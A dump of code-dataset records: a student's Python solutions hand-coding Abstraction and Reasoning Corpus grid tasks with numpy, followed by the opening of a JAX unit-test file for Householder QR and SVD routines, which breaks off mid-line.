"week11/assign6b_sol.py", "max_issues_repo_name": "phaustin/a301_2020", "max_issues_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week11/assign6b_sol.py", "max_forks_repo_name": "phaustin/a301_2020", "max_forks_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-01T09:55:18.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-01T09:55:18.000Z", "avg_line_length": 34.4572864322, "max_line_length": 639, "alphanum_fraction": 0.6976082835, "include": true, "reason": "import numpy", "num_tokens": 4117, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489883132727684, "lm_q2_score": 0.16451646699291617, "lm_q1q2_score": 0.06825768988945344}}
{"text": "#!/usr/bin/python\n\n'''\nNUI Galway CT5132/CT5148 Programming and Tools for AI (James McDermott)\n\nSolution for Assignment 3:  Hand-coding solutions for the Abstraction\n                            and Reasoning Corpus\n\nBy writing my name below and submitting this file, I/we declare that\nall additions to the provided skeleton file are my/our own work, and\nthat I/we have not seen any work on this assignment by another\nstudent/group.\n\nStudent name(s):    John Doyle\nStudent ID(s):      21230978\nGitHub:             https://github.com/john9d/ARC\n\nSummary of the ARC Assignment:\n\nThe solve_* solutions completed below were completed using basic python functions\nand no machine learning techniques, with the majority using only the built in Python\nfunctions. Such as for loops, if else statements and enumerate. The math library was\nused for an irrational number and the numpy library for mainly array specific functions.\n\nMost of the solve_* solution started with a loop pass through the array and getting the\nindex of specific number required to solve the task. Then mainly replacing this with the\ncorrect number, some requiring to reshape. Where possible the solve_* solutions tried to\nuse techniques that would help solve the solution in different size array that the tasks\nshown.\n\nBelow the term \"colour\" is used primarily, as the ARC testing_interface.html was used\nto identify/describe the task and its solution.\n\n\n'''\n\n\n\nimport os, sys\nimport json\nimport numpy as np\nimport re\nimport math\n\n\n### YOUR CODE HERE: write at least three functions which solve\n### specific tasks by transforming the input x and returning the\n### result. Name them according to the task ID as in the three\n### examples below. Delete the three examples. The tasks you choose\n### must be in the data/training directory, not data/evaluation.\n\ndef solve_22eb0ac0(x):\n    '''\n    ########################### SOLUTION No.1 ###############################\n    #Using the ARC testing interface Task 22eb0ac0 shows a 10x10 array where there\n    #are a number of colours vertically aligned and opposing each other on the\n    #left and right side of the array. The task solutions show an array where the\n    #a row in the array is filled in wth a colour that had a match of colour on the\n    #left and right hand side. Any colours that do not match, will leave the row\n    #black in between.\n\n    #To solve this task we will need iterate through the array to adn create an if\n    #statement to see if the start of the row and the end of the row match. If this\n    #is true, we will enumerate the row, identify and replace all of the colours in\n    #between with the match left and right colour.\n    '''\n    # Initiate loop through the array\n    for i in x:\n\n        # We will now check for the matching numbers\n        if i[0] == i[-1]:\n\n            # We will need to store the number so we can replace the non-matching ones\n            value = i[0]\n\n            # We will store the non-matching number\n            item = i[1]\n\n            # Enumerate through the row and create an index of the non-matching values\n            index = [j for j, y in enumerate(i) if y == item]\n\n            # We will now loop through the index list so we can replace this values\n            for a in index:\n\n                # This will now replace the non-matching values\n                i[a] = value\n\n    return x\n\ndef solve_0d3d703e(x):\n    '''\n    ########################### SOLUTION No.2 ###############################\n    #Using the ARC testing interface Task 0d3d703e shows a 3x3 array of 3 colours,\n    #all vertically aligned. Each colour is converted in the solution i.e. green to\n    #yellow, blue to grey, etc. and the conversion is mirrored i.e. yellow to green,\n    #grey to blue, etc. The test task has an array of light blue, blue and green all\n    #of which need to be converted to wine, grey and yellow respectively.\n\n    #To solve this task we will need to convert each colour (number), however there\n    #are overlaps in colours. If we attempt to simply convert each number to its\n    #solved state, the number will be reconverted back i.e. when updating 1 to 5, next\n    #in the array we are required to update 5 to 1. This will return the old number.\n    #To avoid this, we are going to divide by an irrational number (pi in this case)\n    #so we can avoid double conversion. Post this, we will multiple the array by pi and\n    #perform floor division to remove a chance of a floating point error.\n    '''\n\n    # We are going search the array and covert 1 to 5 and divide by pi\n    x = np.where(x == 1, 5/math.pi, x)\n\n    # We are going search the array and covert 2 to 6 and divide by pi\n    x = np.where(x == 2, 6/math.pi, x)\n\n    # We are going search the array and covert 3 to 4 and divide by pi\n    x = np.where(x == 3, 4/math.pi, x)\n\n    # We are going search the array and covert 4 to 3 and divide by pi\n    x = np.where(x == 4, 3/math.pi, x)\n\n    # We are going search the array and covert 6 to 2 and divide by pi\n    x = np.where(x == 6, 2/math.pi, x)\n\n    # We are going search the array and covert 8 to 9 and divide by pi\n    x = np.where(x == 8, 9/math.pi, x)\n\n    # We are going search the array and covert 5 to 1 and divide by pi\n    x = np.where(x == 5, 1/math.pi, x)\n\n    # We are going search the array and covert 9 to 8 and divide by pi\n    x = np.where(x == 9, 8/math.pi, x)\n\n    # We are going now multiply the array by pi and perform a floor division\n    # This will return remove the floating point error\n    x = (x*math.pi)//1\n\n    return x\n\ndef solve_ce4f8723(x):\n    '''\n    ########################### SOLUTION No.3 ###############################\n    #Using the ARC testing interface Task ce4f8723 shows a 9x4 array. Where there\n    #are two 4x4 arrays with coloured and black squares, separated by a 1x4 array\n    #to divide the two 4x4 arrays. The results of each task demonstrate that when\n    #overlay the two 4x4 arrays, the resulting array shows only black squares in\n    #the resulting 4x4 array where both have them. Colouring all of the other squares\n    #in a different colour (green!)\n\n    #To solve this task we will need to identify the shape of the array, and then we will\n    #flatten the array to (1, N), where N is the total number of items in the array. As\n    #we need to combine the two 4x4 coloured arrays we will then split the (1,N) array\n    #into two, removing the dividing array. We shall then add the two arrays together and\n    #then enumerate it to find where there are black colours (0). We then replace the\n    #black (non-zero) with the green and reshape to the correct format for the output.\n    '''\n\n\n    # First we need to define the shape of the array being assessed using .shape\n    h, w = x.shape\n\n    # Then we need to flatten nDimension out the array to a (1, N) array\n    y = x.ravel()\n\n    # We need to split out the top array of colours from 0 to the width times the width\n    # index in the flatten array. This will future proof should we any other NxN array\n    y1 = y[0:(w*w)]\n\n    # We will split out the bottom array of colours, removing the 1x4 array by starting\n    # the index at width times the width plus the width\n    y2 = y[(w*w+w):]\n\n    # Add the two arrays together so we can identify the black (zeros)\n    y_total = (y1+y2)\n\n    # Set the value for the green output colour\n    value = 3\n\n    # Enumerate through the list to identify the zeros in the combined arrays\n    index = [j for j, a in enumerate(y_total) if a != 0]\n\n    # We now need to iterate through the list of non-zeros\n    for b in index:\n\n        # Replacing the values with the green (3)\n        y_total[b] = value\n\n    # Now we will reshape the (1, N) array back to the correct shape\n    x = y_total.reshape(w, -w)\n\n    return x\n\ndef solve_e26a3af2(x):\n    '''\n    ########################### SOLUTION No.4 ###############################\n    #Using the ARC testing interface Task e26a3af2 shows a varying NxM arrays.\n    #Where some of the arrays N = M. In each of the tasks, there is either a\n    #vertical or horizontal lines of varying width containing primarily 3 or 4\n    #colours (numbers), with a random placement of any colour throughout. Each\n    #task solution clears out the random colours and leaves a neat 3 or 4 colour\n    #lines. The test grid is 5 colours in a horizontal arrangement.\n\n    #To solve the task we will enumerate the array and identify the mode colour\n    #in each row of the array, inorder to create a new NxM array in clean of any\n    #random colours. This will work with the horizontally aligned colours easily,\n    #however we will need to transpose the array for the vertically aligned colours.\n    #An if statement that will assess if the mode is greater than 1/2 of the array\n    #width (as all arrays have 3 or more colours) will be able to ensure the mode\n    #and array will be correctly reformed.\n    '''\n\n\n    # We need to create an empty list for mode colour in each row\n    mode = []\n\n    # We need to create an empty list for maximum number of colours in each row\n    # This will allow us to verify if we need to transpose the array\n    total = []\n\n    # Gather the height and width of the array so we can create the new array correctly\n    h, w = x.shape\n\n    # We will enumerate x to identify the the mode colour in each row\n    for i, j in enumerate(x):\n\n        # Create a list of each value and count of each to identify the mode\n        vals, counts = np.unique(x[i], return_counts=True)\n\n        # Capture the value tha made the colour the mode\n        total = max(counts)\n\n        # Create an location index for the value which is the mode\n        index = np.argmax(counts)\n\n        # Store the mode in the row\n        c = vals[index]\n\n        # Append the mode to the global list\n        mode = np.append(mode, [c], axis=0)\n\n    # We will now transpose the array and complete the same tasks as above\n    # We need to create an empty list for mode colour in each row\n    x_T = x.T\n\n    # We need to create an empty list for maximum number of colours in each row\n    # This will allow us to verify if we need to transpose the array\n    mode_T = []\n\n    # Gather the height and width of the array so we can create the new array correctly\n    h_T, w_T = x_T.shape\n\n    # We will enumerate x to identify the the mode colour in each row\n    for i_T, j_T in enumerate(x_T):\n\n        # Create a list of each value and count of each to identify the mode\n        vals_T, counts_T = np.unique(x_T[i_T], return_counts=True)\n\n        # Create an location index for the value which is the mode\n        index_T = np.argmax(counts_T)\n\n        # Store the mode in the row\n        c_T = vals_T[index_T]\n\n        # Append the mode to the global list\n        mode_T = np.append(mode_T, [c_T], axis=0)\n\n    # Create an if statement to verify if we are working with a vertical task\n    if total < w/2:\n        ##The mode is less than half the count so we will use the transposed array##\n        # Create an empty numpy array\n        f_T = np.array([])\n\n        # Iterate through the global mode list created\n        for i in mode_T:\n            # Append each mode value as a new row and multiply it by the width of\n            # of the original transposed array\n            f_T = np.append(f_T, [i] * w_T, axis=0)\n\n        # Reshape the new array to the original transposed array\n        r = f_T.reshape(h_T, w_T)\n\n        # Transpose the new array back to its original shape\n        x = r.T\n\n    # Else we are now working with a horizontal type task\n    else:\n        ##The mode is more than half the count so we will use the normal array##\n        # Create an empty numpy array\n        f = np.array([])\n\n        # Iterate through the global mode list created\n        for i in mode:\n\n            # Append each mode value as a new row and multiply it by the width of\n            # of the original array\n            f = np.append(f, [i] * w, axis=0)\n\n        # Reshape the new array to the original array\n        x = f.reshape(h, w)\n\n    return x\n\ndef solve_9ecd008a(x):\n    '''\n    ########################### SOLUTION No.5 ###############################\n    Using the ARC testing interface Task 9ecd008 shows a large 20x20 array.\n    All with a pattern of different colours. Each task has a small 3x3 array with\n    colour missing, the solution for each task is to create a 3x3 of the missing\n    colours in the correct pattern. As each pattern is mirrored on x and y axes where\n    10x20 = 10x20 and 20x10 = 20x10, the missing pattern is its mirror on the y axis\n    in each task.\n\n    To solve the task we will enumerate the array and identify which rows contain\n    a black (zero) square by calculating the length of the row with no black. If\n    the row has black square, we will pass this into another loop to enumerate for\n    the index of the black square in the row. In turn getting the absolute difference\n    between the index and the length of the row so we capture the index of the mirror\n    colours. We will then append the correct colour into a new list and finally\n    reshape it to the 3x3 array.\n    '''\n    # 1st we will create an empty list to append the correct pattern into\n    answer = []\n\n    # We will now get the shape of the array to determine the length of each row\n    h, w = x.shape\n\n    # We will now start the loop through the array\n    for i in x:\n\n        # We will set the value for the black square\n        black = 0\n\n        # We will enumerate to identify the length of each row that has a black square\n        non_count = [j for j, y in enumerate(i) if y != black]\n\n        # Now create an if statement to pass the row into the next loop if contains a\n        # black square\n        if len(non_count) != w:\n\n            # We will now enumerate to identify the count of the black squares\n            zero_index = [j for j, y in enumerate(i) if y == black]\n\n            # Create a (1,3) array of the maximum index number so we can calculate\n            # the mirror location of the black square\n            mirror_index = [w - 1] * max(zero_index)\n\n            # Create an empty list of the mirrored index number\n            index = []\n\n            # Create a loop to get the location of the black square and the mirror\n            # location by getting the absolute difference between the indexes\n            for q, p in zip(mirror_index, zero_index):\n                index.append(abs(q - p))\n\n            # Finally we will append the colour of the mirrored index in the row\n            for c in index:\n\n                # Append the colour to the def global answer\n                answer = np.append(answer, [i[c]], axis=0)\n\n    # We will now reshape the list to the correct array size\n    x = answer.reshape(3, -3)\n\n    return x\n\ndef solve_178fcbfb(x):\n    '''\n    ########################### SOLUTION No.6 ###############################\n    Using the ARC testing interface Task 178fcbfb shows a number of NxM arrays\n    where N is sometimes equal to M. There are 3 colours red, green and\n    blue in a number of squares in each array. The solution for each task shows\n    that the green and blue squares fill their row completely with their colour.\n    Then the the red is filled in vertically, under-lapping the green and blue\n    squares.\n\n\n    To solve the task we will enumerate the array and identify which rows contain\n    a black (zero) square by calculating the length of the row with a non-black. If\n    the row a non-black square, we will pass this into another loop to enumerate for\n    the value of the colour in the row. If not red (2) we will then enumerate the row\n    to replace all the black (0) squares in with its correct colour. After this we\n    will redo the above by transposing the array and look for the red (2) squares\n    only to replace the black (0) values with red.\n    '''\n    # First we need to get the shape of the array to sense check which rows need to\n    # be passed into the loop to fill out the colour in the row\n    h, w = x.shape\n\n    # Initiate loop through the array\n    for i in x:\n\n        # We will set the value for the black square\n        black = 0\n\n        # We will enumerate to identify the length of each row that has a black square\n        is_black = [j for j, y in enumerate(i) if y == black]\n\n        # Now create an if statement to pass the row into the next loop if contains a\n        # black square\n        if len(is_black) != w:\n\n            # We will now enumerate to identify the count of the black squares\n            non_black = [j for j, y in enumerate(i) if y != black]\n\n            # We will now store the colour value\n            colour = i[non_black]\n\n            # We will now sense check that this row does not contain red (2)\n            if colour != 2:\n\n                # We will now enumerate to identify the index of the black squares\n                zero_index = [j for j, y in enumerate(i) if y == black]\n\n                # We will now loop through to replace the black squares\n                for b in zero_index:\n\n                    # Replacing the values with the colour\n                    i[b] = colour\n\n    # Initiate loop through the transposed array\n    for i in x.T:\n\n        # We will set the value for the black square\n        black = 0\n\n        # We will enumerate to identify the length of each row that has a black square\n        is_black = [j for j, y in enumerate(i) if y == black]\n\n        # Now create an if statement to pass the row into the next loop if contains a\n        # black square\n        if len(is_black) != w:\n\n            # We will now enumerate to identify the count of the black squares\n            non_black = [j for j, y in enumerate(i) if y != black]\n\n            # We will now store the colour value\n            colour = i[non_black]\n\n            # We will need to only pass in the row with the red (2) value\n            if 2 in colour:\n\n                # We will now enumerate to identify the count of the black squares\n                zero_index = [j for j, y in enumerate(i) if y == black]\n\n                # We will now loop through to replace the black squares\n                for b in zero_index:\n\n                    # Replacing the values with the red (2)\n                    i[b] = 2\n    return x\n\n\ndef main():\n    # Find all the functions defined in this file whose names are\n    # like solve_abcd1234(), and run them.\n\n    # regex to match solve_* functions and extract task IDs\n    p = r\"solve_([a-f0-9]{8})\" \n    tasks_solvers = []\n    # globals() gives a dict containing all global names (variables\n    # and functions), as name: value pairs.\n    for name in globals(): \n        m = re.match(p, name)\n        if m:\n            # if the name fits the pattern eg solve_abcd1234\n            ID = m.group(1) # just the task ID\n            solve_fn = globals()[name] # the fn itself\n            tasks_solvers.append((ID, solve_fn))\n\n    for ID, solve_fn in tasks_solvers:\n        # for each task, read the data and call test()\n        directory = os.path.join(\"..\", \"data\", \"training\")\n        json_filename = os.path.join(directory, ID + \".json\")\n        data = read_ARC_JSON(json_filename)\n        test(ID, solve_fn, data)\n    \ndef read_ARC_JSON(filepath):\n    \"\"\"Given a filepath, read in the ARC task data which is in JSON\n    format. Extract the train/test input/output pairs of\n    grids. Convert each grid to np.array and return train_input,\n    train_output, test_input, test_output.\"\"\"\n    \n    # Open the JSON file and load it \n    data = json.load(open(filepath))\n\n    # Extract the train/test input/output grids. Each grid will be a\n    # list of lists of ints. We convert to Numpy.\n    train_input = [np.array(data['train'][i]['input']) for i in range(len(data['train']))]\n    train_output = [np.array(data['train'][i]['output']) for i in range(len(data['train']))]\n    test_input = [np.array(data['test'][i]['input']) for i in range(len(data['test']))]\n    test_output = [np.array(data['test'][i]['output']) for i in range(len(data['test']))]\n\n    return (train_input, train_output, test_input, test_output)\n\n\ndef test(taskID, solve, data):\n    \"\"\"Given a task ID, call the given solve() function on every\n    example in the task data.\"\"\"\n    print(taskID)\n    train_input, train_output, test_input, test_output = data\n    print(\"Training grids\")\n    for x, y in zip(train_input, train_output):\n        yhat = solve(x)\n        show_result(x, y, yhat)\n    print(\"Test grids\")\n    for x, y in zip(test_input, test_output):\n        yhat = solve(x)\n        show_result(x, y, yhat)\n\n        \ndef show_result(x, y, yhat):\n    print(\"Input\")\n    print(x)\n    print(\"Correct output\")\n    print(y)\n    print(\"Our output\")\n    print(yhat)\n    print(\"Correct?\")\n    if y.shape != yhat.shape:\n        print(f\"False. Incorrect shape: {y.shape} v {yhat.shape}\")\n    else:\n        print(np.all(y == yhat))\n\n\nif __name__ == \"__main__\": main()\n\n", "meta": {"hexsha": "ce02e8c7c4ebfc0268971b955bfd53aee57da916", "size": 20868, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/manual_solve.py", "max_stars_repo_name": "john9d/ARC", "max_stars_repo_head_hexsha": "86a284f22c220c6807f06f8187891c3ef06fab0d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/manual_solve.py", "max_issues_repo_name": "john9d/ARC", "max_issues_repo_head_hexsha": "86a284f22c220c6807f06f8187891c3ef06fab0d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/manual_solve.py", "max_forks_repo_name": "john9d/ARC", "max_forks_repo_head_hexsha": "86a284f22c220c6807f06f8187891c3ef06fab0d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.7485714286, "max_line_length": 92, "alphanum_fraction": 0.6478819245, "include": true, "reason": "import numpy", "num_tokens": 5101, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.1384617905689644, "lm_q1q2_score": 0.06814925056870182}}
{"text": "\"\"\"\nTests for functions in utv.py and qr.py.\nto run all tests from the command line: $ python utv_tests.py\n\nTo run the tests instantiated in 'def suite()' near the end of this file\nfrom a Colab or Jupyter Notebook:\n    *in the notebook*\n    import utv_tests\n    import unittest\n\n    def run_tests():\n        suite = utv_tests.suite()\n        runner = unittest.TextTestRunner()\n        runner.run(suite)\n    run_tests()\n\nTo add the tests in a subclass to 'def suite()', so that they will also\nbe run from the Colab or Jupyter notebook:\n    *in this file*\n    class NewTestSubClass(unittest.TestCase):\n\n    def suite():\n        suite = unittest.TestSuite()\n        *one of the below for each subclass*\n        suite.addTests(unittest.makeSuite(TestSubclass, 'test'))\n\nA base class GaussianMatrixTest(unittest.TestCase) is provided to\nloop over Gaussian matrices, treating each of several permutations of shape and\ndtype as a different subtest. See that class' docstring for details.\n\n\nTests are currently defined that mean to do each of the following:\n    TODO: FILL THESE IN\n    test_replace_diagonal: Checks that matutils.replace_diagonal(A, D)\n                           correctly returns a matrix identical to A, with\n                           first D.size entries replaced by those of D, and\n                           the rest zeroed out.\n\"\"\"\n\nimport jax.numpy as jnp\nimport jax\nimport numpy as np\nimport unittest\nimport itertools\nimport math\nimport dfact.utv as utv\nimport dfact.qr as qr\nimport dfact.matutils as matutils\nfrom dfact.matutils import dag\n\n\n###############################################################################\n# BASE CLASSES AND UTILITIES\n###############################################################################\ndef errstring(arr1, name1, arr2, name2):\n    \"\"\"\n    Utility function to generate failure messages in a few tests. Returns\n    the Frobenius norm of the difference between arr1 and arr2, and a\n    string errstring to be output if desired.\n    \"\"\"\n    error = matutils.frob(arr1, arr2)\n    errormsg = \"Error = \" + str(error) + \"\\n\"\n    errormsg += name1 + \":\\n \" + str(arr1) + \"\\n\"\n    errormsg += name2 + \":\\n \" + str(arr2)\n    return (error, errormsg)\n\n\ndef errorstack(errtups, passed=True, msg=\"\\n\", thresh=1E-6):\n    \"\"\"\n    Combines the output from multiples calls to errstring into a single\n    pass-or-fail condition, based on comparison of each errtups[i][0] to\n    thresh. Returns this flag along with a single error message, concatenated\n    from\n    those of each individual call.\n    \"\"\"\n    for error, errormsg in errtups:\n        if error < thresh:\n            passed = False\n            msg += \"**********************************************************\"\n            msg += errormsg\n            msg += \"**********************************************************\"\n    return (passed, msg)\n\n\ndef manyclose(pairs):\n    \"\"\"\n    Loops over pairs of numpy arrays and runs allclose on each. Returns True\n    if allclose passes for each pair and False otherwise.\n    \"\"\"\n    passed = True\n    for pair in pairs:\n        passed = passed and jnp.allclose(pair[0], pair[1])\n    return passed\n\n\nclass GaussianMatrixTest(unittest.TestCase):\n    \"\"\"\n    Concrete base class providing a set of random m x n matrices of differing\n    data types to operate on.\n\n    The parameter lists (ms, ns, dtypes) defined in the body of __init__\n    will\n    be used to generate a shape (m, n), dtype=dtype matrix, as if from\n    nested for loops. Each will define a new subtest. The parameters to be\n    looped over are fixed for any particular subclass of GaussianMatrixTest.\n    Each subclass defines its choice of parameters by specializing\n    __init__.\n\n    Subclasses of GaussianMatrixTest should thus employ the following maneuvers\n    to define tests:\n\n    class MySubClass(GaussianMatrixTest):\n        def __init__(self, *args, **kwargs):\n            *specialize this class only if you want to change the default*\n            *parameters*\n            self.ns = (*start, stop, step*)\n            self.ms = (*start, stop, step*)\n            self.dtypes = [jnp.float32, jnp.complex64...]\n            super().__init__(*args, **kwargs)\n\n\n        def test_something(self, **kwargs):\n            def impl(A, paramtup):\n                m, n, dtype = paramtup\n                ***body of test acting on the random input matrix A***\n            self.iterloop(impl)\n\n\n    *in def suite(): defined near the end of this file)*\n    def suite():\n        suite.addTests(unittest.makeSuite(MySubClass, 'test')\n\n    *in a colab notebook from which you wish to run tests*\n\n    \"\"\"\n    def __init__(self, *args, ns=(1, 6, 2),\n                 ms=(6, 18, 6),\n                 dtypes=[jnp.float32, jnp.complex64],\n                 **kwargs):\n        self.ns = range(*ns)\n        self.ms = range(*ms)\n        self.dtypes = dtypes\n        super().__init__(*args, **kwargs)\n\n    def setUp(self):\n        self.matrices = [matutils.gaussian_random(shape=(m, n), dtype=dtype)\n                         for m, n, dtype\n                         in itertools.product(self.ms, self.ns, self.dtypes)]\n\n    def iterloop(self, func):\n        \"\"\"\n        Iterates over the parameters defined in setUpImpl, stores them in\n        paramtup, generates a random\n        matrix A for each, and calls func(A, paramtup) as a new subtest.\n        func(A, paramtup) should thus store the body of the test, and is\n        usually defined within class methods as 'impl'.\n        iterloop would most naturally be a decorator, but my Python\n        isn't up to getting the interpreter to treat a class method as such.\n        \"\"\"\n        params = itertools.product(self.ms, self.ns, self.dtypes)\n        for A, paramtup in zip(self.matrices, params):\n            m, n, dtype = paramtup\n            with self.subTest(m=m, n=n, dtype=dtype):\n                func(A, paramtup)\n\n\n###############################################################################\n# QR DECOMPOSITION TESTS\n###############################################################################\nclass ExplicitQRTests(unittest.TestCase):\n    \"\"\"\n    These tests check whether our QR code functions correctly, by creating\n    a matrix with explicitly known input (self.testA) and ensuring we\n    retrieve explicitly known results.\n    \"\"\"\n    def setUp(self):\n        self.testA = jnp.array([[1., -4.],\n                                [2., 3.],\n                                [2., 2.]])\n\n    def test_householder_generation_on_explicit_input(self):\n        \"\"\"\n        Checks that qr.house gives the correct output for known input.\n        With x = [1, 2, 2] we should have v = [1, -1, -1]^T and\n        beta = 2/3.\n\n        ***THIS TEST SEEMS TO BE WRONG***\n        \"\"\"\n        test_me = self.testA[:, 0]\n        v, beta = qr.house(test_me)\n        success = jnp.allclose(jnp.array([beta]), jnp.array([2./3.]))\n        self.assertTrue(success, msg=\"beta[0] = \"+str(beta)+\" was wrong.\")\n        success = jnp.allclose(v, jnp.array([1., -1., -1.]))\n        self.assertTrue(success, msg=\"v[0] = \"+str(v)+\" was wrong.\")\n\n    def test_factored_qr_on_explicit_input(self):\n        \"\"\"\n        Checks that qr.house_qr(mode=\"factored\") gives the correct output.\n\n        ***THIS TEST SEEMS TO BE WRONG***\n        \"\"\"\n        test_me = self.testA\n        # print(\"\\n\")\n        # print(\"*****************************\")\n        H, beta = qr.house_qr(test_me, mode=\"factored\")\n        print(\"H:\\n \", H)\n        print(\"beta: \", beta)\n        Hnp, betanp = np.linalg.qr(test_me, mode=\"raw\")\n        print(\"Hnp:\\n \", Hnp)\n        print(\"betanp: \", betanp)\n        correct_beta = jnp.array([2./3., 8./5.])\n        # print(\"beta:\", beta)\n        # print(\"1/beta:\", 1/beta)\n        # print(\"correct_beta:\", correct_beta)\n        # print(\"*****************************\")\n        self.assertTrue(jnp.allclose(beta, correct_beta),\n                        msg=\"beta=\"+str(beta)+\" was wrong.\")\n        correct_H = jnp.array([[3., 2.],\n                               [-1., 5.],\n                               [-1., 0.5]])\n        self.assertTrue(jnp.allclose(H, correct_H),\n                        msg=\"\\nH=\\n\"+str(H)+\" was wrong.\")\n\n        correct_Q = jnp.array([[1./3, -14./15, -2./15],\n                               [2./3, 1./3, -2./3],\n                               [2./3, 2./15, 11./15]\n                               ])\n        Q, R = qr.factored_to_QR(H, beta)\n        self.assertTrue(jnp.allclose(Q, correct_Q),\n                        msg=\"\\nQ=\\n\"+str(Q)+\" was wrong.\")\n\n        QR = jnp.dot(Q, R)\n        self.assertTrue(jnp.allclose(QR, test_me),\n                        msg=\"\\nQR=\\n\"+str(QR)+\" was wrong.\")\n\n\nclass TestHouseholderVectorProperties(GaussianMatrixTest):\n    \"\"\"\n    Tests the code to compute and apply Householder reflections.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        ns = (1, 2, 1)\n        ms = (1, 5, 1)\n        super().__init__(*args, ns=ns, ms=ms, **kwargs)\n\n    def test_householder_unitarity(self, thresh=1E-6):\n        \"\"\"\n        Random (m,) vectors are generated, and Householder reflections\n        (v, beta) computed from them. The dense matrix\n        P = I_m - beta v otimes dag(v) is formed, and its unitarity\n        (orthogonality) is confirmed.\n        \"\"\"\n        def impl(A, paramtup):\n            v, beta = qr.house(A)\n            P = qr.form_dense_P([v, beta])\n            Pd = dag(P)\n            unitary1 = jnp.dot(P, Pd)\n            unitary2 = jnp.dot(Pd, P)\n            Id = jnp.eye(v.size, dtype=P.dtype)\n            err1, errormsg1 = errstring(unitary1, \"P Pd\", Id, \"I\")\n            err2, errormsg2 = errstring(unitary2, \"Pd P\", Id, \"I\")\n            errormsg = \"\"\n            passed = True\n            if err1 > thresh:\n                passed = False\n                errormsg += \"\\n\" + errormsg1\n            if err2 > thresh:\n                passed = False\n                errormsg += \"\\n\" + errormsg2\n            self.assertTrue(passed, msg=errormsg)\n        self.iterloop(impl)\n\n    # def test_householder(self, thresh=1E-6):\n        # \"\"\"\n        # Random (m,) vectors are generated, and Householder reflections\n        # (v, beta) computed from them. The dense matrix\n        # P = I_m - beta v otimes dag(v) is formed, and its unitarity\n        # (orthogonality) is confirmed.\n        # \"\"\"\n        # def impl(A, paramtup):\n            # v, beta = qr.house(A)\n\n            # x0 = A.ravel()[0]\n            # r = jnp.abs(x0)\n            # theta = jnp.angle(x0)\n            # vp = x +\n\n\n\n            # P = qr.form_dense_P([v, beta])\n            # Pd = dag(P)\n            # unitary1 = jnp.dot(P, Pd)\n            # unitary2 = jnp.dot(Pd, P)\n            # Id = jnp.eye(v.size, dtype=P.dtype)\n            # err1, errormsg1 = errstring(unitary1, \"P Pd\", Id, \"I\")\n            # err2, errormsg2 = errstring(unitary2, \"Pd P\", Id, \"I\")\n            # errormsg = \"\"\n            # passed = True\n            # if err1 > thresh:\n                # passed = False\n                # errormsg += \"\\n\" + errormsg1\n            # if err2 > thresh:\n                # passed = False\n                # errormsg += \"\\n\" + errormsg2\n            # self.assertTrue(passed, msg=errormsg)\n        # self.iterloop(impl)\n\n\n\nclass TestComputeAndApplyHouseholderReflectors(GaussianMatrixTest):\n    \"\"\"\n    Tests the code to compute and apply Householder reflections.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        ns = (1, 6, 1)\n        ms = (1, 6, 1)\n        super().__init__(*args, ns=ns, ms=ms, **kwargs)\n\n    def test_house_leftmult(self, thresh=1E-6):\n        \"\"\"\n        Random (m,n) matrices A are generated, along with length-m vectors x.\n        Householder reflections\n        (v, beta) are computed from each x. The dense matrix\n        P = I_m - beta v otimes dag(v) is formed. It is confirmed\n        that P A and house_leftmult(A, v, beta) yield the same result.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            x = matutils.gaussian_random(shape=(m,), dtype=dtype)\n            v, beta = qr.house(x)\n            PA_h = qr.house_leftmult(A, v, beta)\n            P = qr.form_dense_P([v, beta])\n            PA = jnp.dot(P, A)\n            err, errmsg = errstring(PA, \"PA\", PA_h, \"PA_h\")\n            self.assertTrue(err < thresh, msg=errmsg)\n        self.iterloop(impl)\n\n    def test_house_rightmult(self, thresh=1E-6):\n        \"\"\"\n        Random (m,n) matrices A are generated, along with length-m vectors x.\n        Householder reflections\n        (v, beta) are computed from each x. The dense matrix\n        P = I_n - beta v otimes dag(v) is formed. It is confirmed\n        that A P and house_rightmult(A, v, beta) yield the same result.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            x = matutils.gaussian_random(shape=(n,), dtype=dtype)\n            v, beta = qr.house(x)\n            AP_h = qr.house_rightmult(A, v, beta)\n            P = qr.form_dense_P([v, beta])\n            AP = jnp.dot(A, P)\n            err, errmsg = errstring(AP, \"AP\", AP_h, \"AP_h\")\n            self.assertTrue(err < thresh, msg=errmsg)\n        self.iterloop(impl)\n\n\nclass GaussianSVDTests(GaussianMatrixTest):\n    \"\"\"\n    Tests of the randSVD decomposition that loop over Gaussian random matrices.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        ns = (1, 6, 1)\n        ms = (1, 6, 1)\n        dtypes = [jnp.float32]  # , jnp.complex64]\n        super().__init__(*args, ns=ns, ms=ms, dtypes=dtypes, **kwargs)\n\n    def test_blockpowerSVD_svs(self, thresh=1E-5):\n        \"\"\"\n        Checks that block power SVD gets the right singular values.\n        \"\"\"\n        def impl(A, paramtup):\n            m, n, dtype = paramtup\n            U, S, Vh = jnp.linalg.svd(A)\n            for sigma in range(1, n-1):\n                with self.subTest(sigma=sigma):\n                    Uc, Sc, Vc  = 